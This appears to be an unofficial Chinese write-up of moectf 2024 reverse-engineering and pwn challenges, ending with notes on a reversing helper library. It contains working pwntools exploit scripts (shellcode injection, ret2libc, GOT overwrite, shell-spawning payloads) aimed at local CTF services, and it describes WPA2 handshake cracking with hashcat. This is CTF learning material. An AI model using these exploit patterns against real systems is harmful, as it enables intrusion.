包含了四个可执行文件,这个题可以载入静态分析,获取flag,也可以仅仅RUN,获得flag
0x0 与 0x1均加了upx壳
0x0 windows下的x64执行文件,运行后

moectf2024@xdsec ~> cat /flag.0
6257396c5933526d657a55355a6d45

0x1 linux下的x64执行文件,运行后

moectf2024@xdsec ~> cat /flag.1
324d444a6a4c5459794e4745744e44

0x2 Android apk,安装并运行后

moectf2024@xdsec ~> cat /flag.2
42694e7930345954566a4c57557a4e

APK源码

package cn.edu.xidian.myapplication

import android.os.Bundle
import androidx.activity.ComponentActivity
import androidx.activity.compose.setContent
import androidx.compose.foundation.layout.Column
import androidx.compose.foundation.layout.fillMaxSize
import androidx.compose.material3.MaterialTheme
import androidx.compose.material3.Surface
import androidx.compose.material3.Text
import androidx.compose.runtime.Composable
import androidx.compose.runtime.remember
import androidx.compose.ui.Modifier
import androidx.compose.ui.tooling.preview.Preview
import cn.edu.xidian.myapplication.ui.theme.MyApplicationTheme

class MainActivity : ComponentActivity() {

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContent {
            MyApplicationTheme {
                // A surface container using the 'background' color from the theme
                Surface(
                    color = MaterialTheme.colorScheme.background
                ) {
                    MyScreenContent()
                }
            }
        }
    }
}

@Composable
fun MyScreenContent() {
    Column(modifier = Modifier.fillMaxSize()) {
        Greeting("Android")
        render()
    }
}

@Composable
fun Greeting(name: String) {
    Text(text = "Hello moectf2024!")
}

@Composable
fun render() {
    Column {
        Text(text = "moectf2024@xdsec ~> cat /flag.2")
        Text(text = "42694e7930345954566a4c57557a4e")
    }
}

@Preview(showBackground = true)
@Composable
fun DefaultPreview() {
    MyApplicationTheme {
        MyScreenContent()
    }
}

0x3 riscv ELF64程序

# Kali Linux 下
sudo apt install qemu-user
chmod +x ./0x3.riscv64.elf
qemu-riscv64 ./0x3.riscv64.elf
# [87, 85, 49, 78, 122, 82, 106, 90, 106, 108, 105, 79, 88, 48, 61]
a = [87, 85, 49, 78, 122, 82, 106, 90, 106, 108, 105, 79, 88, 48, 61]
"".join(map(chr,a))
# WU1NzRjZjliOX0=
6257396c5933526d657a55355a6d45324d444a6a4c5459794e4745744e4442694e7930345954566a4c57557a4e
bW9lY3RmezU5ZmE2MDJjLTYyNGEtNDBiNy04YTVjLWUzN
再加上最后0x3的WU1NzRjZjliOX0=
bW9lY3RmezU5ZmE2MDJjLTYyNGEtNDBiNy04YTVjLWUzNWU1NzRjZjliOX0=
base64 decode
# moectf{59fa602c-624a-40b7-8a5c-e35e574cf9b9}

moectf{59fa602c-624a-40b7-8a5c-e35e574cf9b9}

SecretModule

Magisk Module
Shell Script解密
然后是一点点Android知识
需要知道 getevent 命令

testk() {
  echo "Welcome to the Secret module!But before you begin,you need to prove your self."
  (/system/bin/getevent -lc 1 2>&1 | /system/bin/grep VOLUME | /system/bin/grep " DOWN" > $MODPATH/events) || return 1
  return 0
}   

choose() {
  while true; do
    /system/bin/getevent -lc 1 2>&1 | /system/bin/grep VOLUME | /system/bin/grep " DOWN" > $MODPATH/events
    if (`cat $MODPATH/events 2>/dev/null | /system/bin/grep VOLUME >/dev/null`); then
      break
    fi
  done
  if (`cat $MODPATH/events 2>/dev/null | /system/bin/grep VOLUMEUP >/dev/null`); then
    echo "114514"
  else
    echo "1919810"
  fi
}

if testk; then
  ui_print "Great! Now enter the secret."

else
  ui_print "Legacy Device. Use a newer device to do this challenge"
  exit
fi

concatenated=""

for i in 1 2 3 4 5 6 7
do
  result=$(choose)
  concatenated="${concatenated}${result}"
done

input_str=$(echo -n $concatenated | md5sum | awk '{print $1}')
sec="77a58d62b2c0870132bfe8e8ea3ad7f1"
if test $input_str = $sec
then
    echo 'You are right!Flag is'
    echo "moectf{$concatenated}"
else
    echo 'Wrong. Try again.'
    exit
fi

里面是一个MD5的选择爆破,用Python或者手动猜都可以。
114514114514191981011451411451419198101919810

Cython-Strike: Bomb Defusion

from bomb_defuse import Bomb, DefuseKit

def read_bombmemory(kit):
    processed_data = []
    for address in range(0x0, 0x400):
        try:
            data = kit.read_memory(address)
            if data != '0x0':
                #print(data)
                processed_data.append(data)
        except Exception as e:
            #print(e)
            processed_data.append('*')
    return processed_data

bomb = Bomb()
kit = DefuseKit(bomb)
print(f"Bomb State: {bomb.state}")
print(f"Bomb Mask: {bomb.mask}")
memory_data = read_bombmemory(kit)
code = ''.join(chr(int(data, 16)) if data != '*' else '*' for data in memory_data)

print(code)

password = 3786171  #60578736 >> ((7355608 % 5) + 1)
flag = bomb.enter_pwd(password)
print(f"Bomb has been defused! Counter Terrorists Win! Flag: {flag}")

#Your defusekit has successfully connected to the bomb! The wire are tangled, but you've found the bomb's inst ram!
#Scanning through the inst ram...
#We've got access to some juicy data. Time to defuse!
#tip: use read_memory method to read data from the inst ram
#Bomb State: planted
#Bomb Mask: 7355608
#de*i*e MAX_*** 0xffffff***unsign*d int ma**;***int p*ant_b**b(unsigned int input){if *input <= MAX_***) {ma** = input;r**urn 0;} e*se*{***ret**n -1;} }***void expl*de_b*m***oid)*{***void def**e_**mb(v*id){***}***check_p**d(uns*gned*int in*u*)*{if*(input*> MAX_***)*{***explode_b**b();***}***if*((in**t ^ ma** == 114) && (input << (ma** % 5) + 1 == 60578736))*{defuse_b**b();r**urn**}***explode_b**b();***retu**;***}
#Bomb defused! Flag: moectf{CoUnter_TerR0rists_w1n}

找我们的gpt补一下源码:

#define MAX_VAL 0xffffff
unsigned int mask;

int plant_bomb(unsigned int input) {
    if (input <= MAX_VAL) {
        max = input;
        return 0;
    } else {
        return -1;
    }
}

void explode_bomb(void) {
}

void defuse_bomb(void) {
}

void check_pwd(unsigned int input) {
    if (input > MAX_VAL) {
        explode_bomb();
    }

    if (input ^ mask == 114 && ((input << ((mask % 5) + 1)) == 60578736)) {
        defuse_bomb();
        return;
    }

    explode_bomb();
    return;
}
  • 值得注意的是 input ^ mask == 114 ,其中由于运算符优先级,右边 mask == 114 会被优先计算,很多选手都认为是题目的问题,而且python中,左边反而会被先计算...算是一个坑

moectf{CoUnter_TerR0rists_w1n}

SMCProMax

SMC + 偷偷改东西 + z3使用
先动调,发现smc解密异或0x90,然后就可以patch,然后拖入IDA,可以抄出来一个类似hash的算法,但是这个算法是可以求解其输入的,我们就可以解了。

from z3 import *
from Crypto.Util.number import long_to_bytes as l2b

keys = [2053092702,-490481854,-1704322843,-1418679088,86802781,987171458,965631658,264545711,-1342106783,-825370173]
x = [BitVec(f"x{i}", 32) for i in range(len(keys))]

def hash(v):
    for i in range(32):
        # 由于左移会变偶数,而xor后又会变成奇数,所以有唯一解
        v = If(v < 0 , (v << 1) ^ 0xc4f3b4b3, v << 1)
    return v

s = Solver()

for i in range(len(keys)):
    s.add(hash(x[i]) == keys[i])
s.check()
m = s.model()

result = [0] * len(keys)

for p in m.decls():
    result[int(p.name()[1:])] = m[p].as_long()
for i in result:
    print(l2b(i))

# moectf{y0u_mu5t_know_vvHAt_1s__SMC__n0w}

但是要注意,这是程序在后面判断flag的逻辑
在此之前,程序偷偷修改了H字符,让它异或了0x12,所以正确的flag是

moectf{y0u_mu5t_know_vvZAt_1s__SMC__n0w}
真不容易啊,终于对了!!这就是逆向,豪吃,多吃。
Press any key to continue . . .

moectf{y0u_mu5t_know_vvZAt_1s__SMC__n0w}

ezMAZE-彩蛋

接上文ezMAZE题目,在地图可以找到
moectf{LUOSB}

xor(大嘘)

XOR里面藏了一个TEA,并且有花指令,ida直接看不出来。
EXP

#include <iostream>

void decrypt(uint32_t* v, uint32_t* k) {
    uint32_t v0 = v[0], v1 = v[1];
    uint32_t delta = 0x9e3779b9;
    uint32_t sum = delta * 32;
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];

    for (int i = 0; i < 32; i++) {
        v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
        v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        sum -= delta;
    }

    v[0] = v0;
    v[1] = v1;
}


int main()
{
    unsigned char ans[] = {
0x2B, 0xF2, 0x82, 0x41, 0x48, 0x74, 0x9D, 0xAA, 0x7E, 0x4C, 0xDA, 0x04, 0x08, 0x2C, 0xA8, 0x52,
 0x97, 0x77, 0xB7, 0x3B, 0x16, 0x2D, 0xD4, 0xFC, 0x60, 0xBE, 0xC4, 0xB6, 0x73, 0x19, 0x94, 0x87
    };
    unsigned char axxxx[] = {
0x3C, 0x0D, 0x05, 0x1F, 0x30, 0x6E, 0x1E, 0x30, 0x04, 0x3C, 0x12, 0x52, 0x59, 0x03, 0x6D, 0x52,
 0x04, 0x04, 0x0B, 0x33, 0x1F, 0x33, 0x17, 0x3B, 0x17, 0x1A, 0x2B, 0x07, 0x55, 0x04, 0x5B, 0x5A
    };
    for (int i = 0; i < 32; i++)
    {
        axxxx[i] ^= ans[i];
    }

    const char* xxx = "hello_moectf2024";

    uint32_t* v = (uint32_t*)axxxx;
    uint32_t* k = (uint32_t*)xxx;
    decrypt(v, k);
    decrypt(v+2, k);
    decrypt(v+4, k);
    decrypt(v+6, k);

    unsigned char* vv = (unsigned char*)v;
    for (int i = 0; i < 32; i++)
    {
        vv[i] ^= xxx[i % 16];
        putchar(vv[i]);
        // moectf{how_an_easy_junk_and_tea}
    }
}

moectf{how_an_easy_junk_and_tea}

babe-z3

src

#include <iostream>
#include <Windows.h>
int main()
{
        puts("$ root@moectf2024 ~> Welcome to moectf 2024!\n | 0xcafebabe encountered a difficult challenge!!!\n | He was lost in the z3-solver's WORLD, Please Use Your MAGIC to help him.\n | input: moectf{YOUR_INPUT}");
        char x[36]; //9c0525dcbadf4cbd9715067159453e74
        fgets(x, 36, stdin);
        uint64_t a1 = *(0 + (uint64_t*)x);
        uint64_t a2 = *(1 + (uint64_t*)x);
        uint64_t a3 = *(2 + (uint64_t*)x);
        uint64_t a4 = *(3 + (uint64_t*)x);
/*

        std::cout << (a1 & a2 & (~(a1 | a2) | a3 & a2 | a4 & a1 & ~a4) | a4 & a1 & a3) << std::endl;
        std::cout << ((a2 ^ (a4 & ~a1 | a4 & ~a3 | (a1 + a3) & a3 | (a2 + a4) & a2 & ~a1))) << std::endl;
        std::cout << ((a1 - a2) ^ (a3 - a4)) << std::endl;
        std::cout << ((a4 + a2) ^ (a1 + a3)) << std::endl;
        std::cout << (a1 ^ a2 ^ a3 ^ a4) << std::endl;
        std::cout << (a1 & a2 & a3 & a4) << std::endl;
        std::cout << (a1 + a2 - a3 + a4) * (a1 + a3 - a4 + a2) << std::endl;
        std::cout << (a1 + a2 +a3 + a4) % 114514 << std::endl;
        std::cout << (a1 * a2 * a3 * a4) % 1919810 << std::endl;

*/
        uint64_t switch_0 = 0;
        uint64_t switch_1 = 0;
        uint64_t switch_2 = 0;
        uint64_t switch_3 = 0;
        uint64_t switch_4 = 0;
        uint64_t switch_5 = 0;
        uint64_t switch_6 = 0;
        uint64_t switch_7 = 0;
        uint64_t switch_8 = 0;
        
        // FAKE CONDITION
        if ((a3 & a1 & (~(a4 + a2) | a2 & a2 | a4 & a1 & ~a4) ^ a4 & a3) == 0xcafebabedeadc0de) (switch_0 |= 0x0000000010000000);

        if ((a1 & a2 & (~(a1 | a2) | a3 & a2 | a4 & a1 & ~a4) | a4 & a1 & a3) == 2316015897844654385) switch_0 = (switch_0 |= 0x0000000100000000);
        if(((a2 ^ (a4 & ~a1 | a4 & ~a3 | (a1 + a3) & a3 | (a2 + a4) & a2 & ~a1))) == 8102257287365753684) switch_1 = 1;
        if(((a1 - a2) ^ (a3 - a4)) == 287668530830180307) switch_2 = 1;
        if(((a4 + a2) ^ (a1 + a3)) == 865433324338348261) switch_3 = 1;
        if((a1 ^ a2 ^ a3 ^ a4) == 145809558366915671) switch_4 = 1;
        if((a1 & a2 & a3 & a4) == 2314885599605039392) switch_5 = 1;
        if(((a1 + a2 - a3 + a4) * (a1 + a3 - a4 + a2)) == 1840182356754417097) switch_6 = 1;
        if((a1 + a2 + a3 + a4) % 114514 == 21761) switch_7 = 1;
        if((a1 * a2 * a3 * a4) % 1919810 == 827118) switch_8 = 1;

        DWORD fake = (DWORD)switch_0;
        if (switch_0 && switch_1 && switch_2 && switch_3 && switch_4 && switch_5 && switch_6 && switch_7 && switch_8 && !fake)
        {
                printf("Finally, You Win!!!");
        }
        else
        {
                printf("NO!! Try Again. PLEASE");
        }

}

这题主要的坑其实是一个64位的变量的高32位和低32位控制了两个不同的条件,最后检查的时候,分别进行了检查,致敬RCTF2024的 PPTT(同样的操作,当时被恶心了)
Exp

from z3 import *
from Crypto.Util.number import *

x = [BitVec(f"x{i}", 64) for i in range(4)]
s = Solver()

a1 = x[0]
a2 = x[1]
a3 = x[2]
a4 = x[3]

# This Condition Is Fake!(!=)
s.add((a3 & a1 & (~(a4 + a2) | a2 & a2 | a4 & a1 & ~a4) ^ a4 & a3) != 0xd81ac01fbba91837)

# These Are True.
s.add((a1 & a2 & (~(a1 | a2) | a3 & a2 | a4 & a1 & ~a4) | a4 & a1 & a3) == 2316015897844654385)
s.add(((a2 ^ (a4 & ~a1 | a4 & ~a3 | (a1 + a3) & a3 | (a2 + a4) & a2 & ~a1))) == 8102257287365753684)
s.add(((a1 - a2) ^ (a3 - a4)) == 287668530830180307)
s.add(((a1 + a2 - a3 + a4) * (a1 + a3 - a4 + a2)) == 1840182356754417097)
s.add((a1 + a2 + a3 + a4) % 114514 == 21761)
s.add((a1 * a2 * a3 * a4) % 1919810 == 827118)

print(s.check())
m = s.model()
result = b""
for i in x:
    result += long_to_bytes(m[i].as_long())[::-1]
print(result)
# b'9c0525dcbadf4cbd9715067159453e74'

moectf{9c0525dcbadf4cbd9715067159453e74}

BlackHole

根据纸条内容,我们采用LoadLibrary然后调用函数进行暴力破解即可。
这是源码

extern "C" {
        __declspec(dllexport) int checkMyFlag(char* your_flag, size_t length)
        {
                if (length != 15)
                {
                        return 0;
                }
                if (memcmp(your_flag, "moectf{", 7)) return 0;
                if (your_flag[14] != '}') return 0;
                if (your_flag[7] == 'c' &&
                        your_flag[8] == 'r' &&
                        your_flag[9] == '4' &&
                        your_flag[10] == 'c' &&
                        your_flag[11] == 'k' &&
                        your_flag[12] == 'm' &&
                        your_flag[13] == '3')
                {
                        return 1;
                }

                return 0;
        }
}

EXP

#include <iostream>
#include <Windows.h>


void bruteForce()
{
        HMODULE h = NULL;
        h = LoadLibraryA("you_cannot_crack_me.vmp.dll");
        if (!h)
        {
                printf("failed to load dll...\n");
                return;
        }
        typedef int(*checkFlag)(char*, size_t);
        char* cracking = (char*)malloc(16);
        if (!cracking) return;
        cracking[0] = 'm';
        cracking[1] = 'o';
        cracking[2] = 'e';
        cracking[3] = 'c';
        cracking[4] = 't';
        cracking[5] = 'f';
        cracking[6] = '{';

        cracking[7] = 'c';
        cracking[12] = 'm';

        cracking[14] = '}';
        cracking[15] = '\0';
        checkFlag check = (checkFlag)GetProcAddress(h, "checkMyFlag");
        for (char b = 'a'; b <= 'z'; b++)
        {
                for (char c = '0'; c <= '9'; c++)
                {
                        for (char d = 'a'; d <= 'z'; d++)
                        {
                                for (char e = 'a'; e <= 'z'; e++)
                                {
                                        for (char g = '0'; g <= '9'; g++)
                                        {
                                                cracking[8] = b;
                                                cracking[9] = c;
                                                cracking[10] = d;
                                                cracking[11] = e;
                                                cracking[13] = g;
                                                if (check(cracking, 15))
                                                {
                                                        printf("found answer: %s\n", cracking);
                                                        return;
                                                }
                                        }
                                }
                        }
                }
        }


        CloseHandle(h);
}

int main()
{
        bruteForce();
        system("pause");
        return 0;
}

moectf{cr4ckm3}

moeprotector

考点SEH, 反调试
解法:挂上x64dbg+ScyllaHide(不要开TitanHide,有检测),然后通过软件断点来不断追踪flag变化。
容易得到下面的伪代码

flag[0]^=0x31;
flag[0]+=0x31;
flag[0]-=0x31;
flag[0]^=0x31;
for(inti=0;i<57;i++)
{
        flag[i]^=21+i;
        flag[i]+=20;
}
for(inti=0;i<57;i++)
{
        flag[i]^=26+i;
        flag[i]+=20;
}
for(inti=0;i<57;i++)
{
        flag[i]^=25+i;
        flag[i]+=20;
}
for(inti=0;i<57;i++)
{
        if(hexData[i]!=flag[i])
                die();
}

找到hexData的值,写解密脚本就行了。
moectf{w1Nd0Ws_S3H_15_A_g0oD_m37h0d_70_h4nd13_EXCEPTI0NS}

特工luo: 闻风而动

1.考察易语言程序的逆向分析,Keygen就不说了,一个简单的异或转换工具,cli在连接后会收到服务器发来的DES加密后flag,加密密码是WIFI密码走keygen,而客户端保存的时候再会走一次RC4加密,密码是 flag.fromserver 对没错 密码就是文件名
2.考察无线安全中对于无线握手包的密码破解。选手需要将cap文件转换为可以供hashcat读取的哈希,并使用hashcat结合题目提示来进行暴力破解(cap文件分析发现是WAP2类型,所以哈希类型是22000)跑出来就可以写解密脚本了(用易语言写最好)
3.值得注意的是,在爆破的时候,需要对密码keygen进行分析,可以从异或数字的大小来观察是数字还是字符,然后反异或过来,就可以缩减密码文本,从而降低爆破时间。
解密

输出调试文本(到文本(解密数据(解密数据(读取文件("flag.fromserver"), "flag.fromserver", #RC4加密), "4g3n71u0", #DES加密)))

moectf{h4cker_Lu0Q1@n_is_trying_to_0p3n_your_r3g15t3r3d_res1denc3}

特工luo: 深入敌营

简单VM题目,拿去年 NCTF ezVM 的题改的简单版本,去掉了trash code,用z3-solver即可化简、求解。属于本比赛最难的逆向工程题目。
首先UPX -d 脱一下壳,放入ida分析一下

int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned __int8 saver; // r15
  __int64 _code; // rdi
  __int64 _rsp; // rax
  __int64 _rip; // rcx
  unsigned __int8 v7; // cl
  __int16 v8; // cx
  int v9; // ecx
  __int64 v10; // rcx
  int v11; // ebp
  unsigned __int64 v12; // rbx
  unsigned __int8 v13; // r14
  rsize_t v14; // rdx
  __int64 v15; // rax
  __int64 v16; // rdx
  __int64 v17; // rcx

  saver = 0;
  LODWORD(_code) = 0;
LABEL_2:
  _rsp = (unsigned int)save;
  while ( 1 )
  {
    _rip = (unsigned int)_code;
    _code = (unsigned int)(_code + 1);
    switch ( insn[_rip] )
    {
      case 0xBu:                                // v_add_rsp_8
        _rsp = (unsigned int)(_rsp + 8);
        save = _rsp;
        continue;
      case 0xCu:
        _rsp = (unsigned int)(_rsp - 2);        // v_push_word
        save = _rsp;
        stack[_rsp + 1] = stack[(unsigned int)(_rsp + 2) + 1];
        stack[(unsigned int)(_rsp + 1) + 1] = stack[(unsigned int)(_rsp + 3) + 1];
        continue;
      case 0xEu:                                // v_notSelf
        stack[(unsigned int)(_rsp + 1) + 1] = ~stack[(unsigned int)(_rsp + 1) + 1];
        continue;
      case 0x14u:                               // v_and
        v16 = (unsigned int)(_rsp + 1);
        stack[v16 + 1] &= stack[_rsp + 1];
        _rsp = (unsigned int)v16;
        save = v16;
        continue;
      case 0x19u:                               // v_exit
        return *(_DWORD *)&insn[_code];
      case 0x32u:
        v7 = insn[_code];                       // v_push_byte
        _rsp = (unsigned int)(_rsp - 1);
        save = _rsp;
        LODWORD(_code) = _code + 1;
        stack[_rsp + 1] = v7;
        continue;
      case 0x49u:                               // v_dup
        _rsp = (unsigned int)(_rsp - 1);
        save = _rsp;
        stack[(unsigned int)_rsp + 1] = stack[(unsigned int)(_rsp + 1) + 1];
        continue;
      case 0x72u:                               // v_not
        stack[_rsp + 1] = ~stack[_rsp + 1];
        continue;
      case 0x7Bu:                               // v_read_chr
        v14 = (char)stack[_rsp + 1];
        v15 = (unsigned int)(_rsp - 7);
        save = v15;
        *(_QWORD *)&stack[v15 + 1] = Buffer;
        gets_s(Buffer, v14);
        goto LABEL_2;
      case 0x7Cu:
        saver = stack[_rsp + 1];                // v_save
        goto LABEL_9;
      case 0x8Du:
        if ( !stack[_rsp + 1] )
          LODWORD(_code) = *(_DWORD *)&stack[_rsp + 2];
        _rsp = (unsigned int)(_rsp + 5);
        save = _rsp;
        continue;
      case 0x8Eu:                               // v_print
        v11 = insn[_code];
        v12 = 0LL;
        _code = (unsigned int)(_code + 1);
        v13 = insn[_code] ^ v11;
        LODWORD(_code) = _code + 1;
        if ( v13 )
        {
          do
          {
            putchar(v11 ^ stack[v13 + (unsigned int)_rsp - v12]);
            LODWORD(_rsp) = save;
            ++v12;
          }
          while ( v12 < v13 );
        }
        save = v13 + (_DWORD)_rsp;
        putchar(10);
        goto LABEL_2;
      case 0x91u:                               // v_push_dword
        v9 = *(_DWORD *)&insn[_code];
        _rsp = (unsigned int)(_rsp - 4);
        save = _rsp;
        LODWORD(_code) = _code + 4;
        *(_DWORD *)&stack[_rsp + 1] = v9;
        continue;
      case 0x99u:
        _rsp = (unsigned int)(_rsp + 4);        // v_add_rsp_4
        save = _rsp;
        continue;
      case 0xADu:
        _rsp = (unsigned int)(_rsp - 1);        // v_push_saver
        save = _rsp;
        stack[(unsigned int)_rsp + 1] = saver;
        continue;
      case 0xB5u:
        _rsp = (unsigned int)(_rsp + 2);        // v_add_rsp_2
        save = _rsp;
        continue;
      case 0xB7u:
        v8 = *(_WORD *)&insn[_code];            // v_push_word
        _rsp = (unsigned int)(_rsp - 2);
        save = _rsp;
        LODWORD(_code) = _code + 2;
        *(_WORD *)&stack[_rsp + 1] = v8;
        continue;
      case 0xB8u:
        stack[_rsp + 1] = *(_BYTE *)(stack[_rsp + 1] + *(_QWORD *)&stack[_rsp + 2]);// v_add
        continue;
      case 0xD3u:
LABEL_9:
        _rsp = (unsigned int)(_rsp + 1);        // v_add_rsp_1
        save = _rsp;
        break;
      case 0xEAu:
        v10 = *(_QWORD *)&insn[_code];          // v_push_qword
        _rsp = (unsigned int)(_rsp - 8);
        save = _rsp;
        LODWORD(_code) = _code + 8;
        *(_QWORD *)&stack[_rsp + 1] = v10;
        break;
      case 0xFBu:
        if ( stack[_rsp + 1] )                  // v_not_not
          stack[_rsp + 1] = 1;
        break;
      case 0xFFu:
        v17 = stack[_rsp + 1];                  // v_not
        if ( (_BYTE)v17 )
        {
          if ( (_BYTE)v17 == 1 )
          {
            if ( (unsigned int)_rsp >= 0x100uLL )
              _report_rangecheckfailure(v17, (unsigned int)_rsp, envp);
            stack[_rsp + 1] = 0;
          }
        }
        else
        {
          stack[_rsp + 1] = 1;
        }
        break;
      default:
        continue;
    }
  }
}

可以看到是一个标准化的VM,我们可以写出z3-solver解题脚本。
moectf{vv1ii?AGENT+1U0_-*7_$[TH/./e]+$_FinAL_v!c70Ry?}

关于

非官方WP,只是本人闲来无事学一学。

ez_shellcode

先checksec
2024-10-04T09:32:40.png

用IDA打开,可以看到是一个标准的shellcode题,给的gift是为了我们跳转到shellcode运行
2024-10-04T09:32:59.png

所以思路就是,第一个随便输入一个大数,第二个我们需要植入shellcode,并且使用Gadget进行中间跳转。
显然shellcode必须在合理范围内,然后Gadget在栈溢出后进行跳转。

#! /usr/bin/env python3
from pwn import *
context(log_level='debug',
        arch='amd64',
        os='linux',
        terminal = ['tmux', 'sp', '-h', '-p', '70'])
file_name = './pwn'
# io = process(file_name)
io = remote('127.0.0.1', 54533)

# gdb.attach(io)
sh = asm(shellcraft.sh())

io.recvuntil('age:\n')
io.sendline(b'200')

io.recvuntil('you :\n')
gift = io.recvuntil('\n')
gift = eval(gift.decode())

# 通过nop对齐把shellcode弄到栈内,并且gift进行栈溢出,0x101a是gadget ret
ow = sh.ljust(0x60 + 0x8, b'\x90') + p64(gift) + p64(0x101a)
io.sendline(ow)
io.interactive()

这是什么?libc!

ropper --file libc.so.6 --search "pop rdi; ret;"
ropper --file libc.so.6 --search "ret;"

#! /usr/bin/env python3
from pwn import *
context(log_level='debug',
        arch='amd64',
        os='linux',
        terminal = ['tmux', 'sp', '-h', '-p', '70'])
file_name = './prelibc'

elf = ELF(file_name)
libc = ELF('./libc.so.6')
# io = process(file_name)
io = remote('127.0.0.1', 9158)

# gdb.attach(io)

io.recvuntil(b'libc: ')
puts_addr = io.recvuntil(b'.')[:-1].decode()
puts_addr = eval(puts_addr)
libc_addr = puts_addr - libc.sym['puts']
log.success('libc_addr = ' + hex(libc_addr))
system_addr = libc_addr + libc.sym['system']
bin_sh_str  = libc_addr + next(libc.search(b'/bin/sh\x00'))
gadget_rdi_ret = libc_addr + 0x000000000002a3e5
gadget_ret = libc_addr + 0x00000000000f8c92

io.sendlineafter(b'\n> ', cyclic(1 + 0x8) + p64(gadget_rdi_ret) + p64(bin_sh_str) + p64(gadget_ret) +  p64(system_addr))


io.interactive()

这是什么?shellcode!

shellcraft.sh()

这是什么?random!

#! /usr/bin/env python3
from pwn import *
context(log_level='debug',
        arch='amd64',
        os='linux',
        terminal = ['tmux', 'sp', '-h', '-p', '70'])
file_name = './prerandom'

elf = ELF(file_name)
libc = ELF('./libc.so.6')
# io = process(file_name)
io = remote('127.0.0.1', 30991)
rands = [94628, 29212, 40340, 61479, 52327, 69717, 13474, 57303, 18980, 86711, 33971, 90017, 48999, 57470, 76676, 92638, 37434, 77014, 78089, 95060]
for i in rands:
    io.recvuntil(b'> ')
    io.sendline(str(i).encode())
io.interactive()

用C语言写一下,来预测rand

#include <stdlib.h>
#include <stdio.h>

int main()
{
  srandom(0x115);
  int tests = 20;
  while(tests--)
          printf("%d, ", random() % 90000 + 10000);
  return 0;
}

这是什么?GOT!

#! /usr/bin/env python3
from pwn import *
context(log_level='debug',
        arch='amd64',
        os='linux',
        terminal = ['tmux', 'sp', '-h', '-p', '70'])
file_name = './pregot'

elf = ELF(file_name)
libc = ELF('./libc.so.6')
# io = process(file_name)
io = remote('127.0.0.1', 44373)

# gdb.attach(io)
unreach = 0x401196

io.send(cyclic(8*2) + p64(0x401056) + cyclic(8*4) + p64(unreach))

io.interactive()

这是什么?32-bit!

#! /usr/bin/env python3
from pwn import *
context(log_level='debug',
        arch='i386',
        os='linux',
        terminal = ['tmux', 'sp', '-h', '-p', '70'])
file_name = './backdoor'

elf = ELF(file_name)
libc = ELF('./libc.so.6')
# io = process(file_name)
io = remote('127.0.0.1', 25186)

# gdb.attach(io)
io.send(b'\n')
io.recvuntil(b'word: ')
# exceve("/bin/sh", NULL, NULL);
io.sendline(cyclic(0x28+0x4) + p32(0x8049212) + p32(0x0804A011) + p32(0)*2)


io.interactive()

什么是REGadgets

REGadgets,顾名思义,就是一个Reverse中常用的,提供给使用者代码片段的库,可以加快逆向速度,甚至直接爆破出结果。

REGadgets 如何获取

REGadgets目前还在开发中,也就是只在小范围测试中,开发者将用它参加每一场XCTF分站赛,所有的WP都是用它来写的,以保证REGadgets库与时俱进。

REGadgets 项目结构

截至到 2024/09/30 REGadgets项目目录如下。

C:.
│   .gitignore
│   README.md
│   __init__.py
│
├───bases
│       base128.py
│       base2048.pyd
│       base2048.pyi
│       base45.py
│       base58.py
│       base62.py
│       base65536.py
│       base91.py
│       bases.py
│       py3base92.py
│       __init__.py
│
├───bits
│       bits.py
│       cstyle.py
│       __init__.py
│
├───bruteforce
│       bruteforcer.py
│       __init__.py
│
├───crypto
│       aes.py
│       blowfish.py
│       bxors.py
│       rc4.py
│       tea.py
│       xtea.py
│       xxtea.py
│       __init__.py
│
├───trans
│       sbox.py
│       __init__.py
│
└───utils
        z3util.py
        __init__.py

REGadgets库相关介绍及使用方法

regadgets.bases

这个库中,提供了 base 相关的编码解码,而且,regadgets提供了换表的快捷方案。

例题 BaseCTF2024 BasePlus

from regadgets import *
enc = b'lvfzBiZiOw7<lhF8dDOfEbmI]i@bdcZfEc^z>aD!'
k = 0xe
dec = decode_b64(bxor(enc, [k for _ in range(len(enc))]).decode(),
                  '/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC')

print(dec)
# b'BaseCTF{BA5e_DEcoD1N6_sEcr3t}\x00'

在本例中,通过regadgets.bases.decode_b64我们对enc异或后的东西(base64编码后的东西)进行了解码,表是第二个参数。

例题 CDDC2024 Quals Emoji32

regadget的bases,支持换emoji表,因为Python的str对于Unicode非常友好。

from regadgets import *
emoji_table = ['😀','😥','😠','😱','😴','🤢','😇','😈','👋','✊','👌','✌','🤲','🙌','👏','🤝','🐶','🐱','🐭','🐹','🐰','🦊','🐻','🐼','🍎','🍌','🍓','🍑','🍕','🍔','🍟','🍦']
emoji_table = "".join(emoji_table)
encoded = "🤢😥😇😴🐭🦊😥✊✌️🍕🐰😴🍎🐭👌🐰🤢😴"
s = encoded.replace('\ufe0f', '') # Remove Wrong Char
while True:
    try:
        print(decode_b32(s, emoji_table))
        # (LIT)_(LIT)
        break
    except:
        s += '=' # Fix Padding
        continue

regadgets.bits

这个子库中,提供了位与数的相关操作。

# 相关提供的函数有这些
from .bits import rol16, rol32, rol64, rol8, ror16, ror32, ror64, ror8, byte2dword, dword2byte, byte2qword, qword2byte, pack_dword, unpack_dword, b2l, l2b
from .cstyle import cstyle_arr32

rol & ror

这些函数用于在Python下执行相应位数的循环左移和循环右移。

byte2word byte2dword byte2qword

用于将Python的bytes 2个/4个/8个 打包成为 List[int],可选是否进行Padding。其中int是word或dword或qword,小端序,方便后续进行TEA族加密。

word2byte dword2byte qword2byte

用于将List[int] 解包为Python bytes,小端序。用于将外部的数据(程序中提取出来的)快速进行处理。

pack_dword

用于将[1, 2, 3, 4, 5, 6] 这样的List[int],两两打包为形如 [(1, 2), (3, 4), (5, 6)] ,方便进行TEA族加密。

unpack_dword

用于将 [(1, 2), (3, 4), (5, 6)] 解包为 [1, 2, 3, 4, 5, 6] 这样的List[int]

l2b b2l

从Crypto.Util.number里面复制出来的long_to_bytes和bytes_to_long,用于大端序的互相转换。

regadgets.bruteforce

本子库用于解决逆向工程中的一些基础爆破问题。

regadgets.bruteforce.rg_brute_forcer

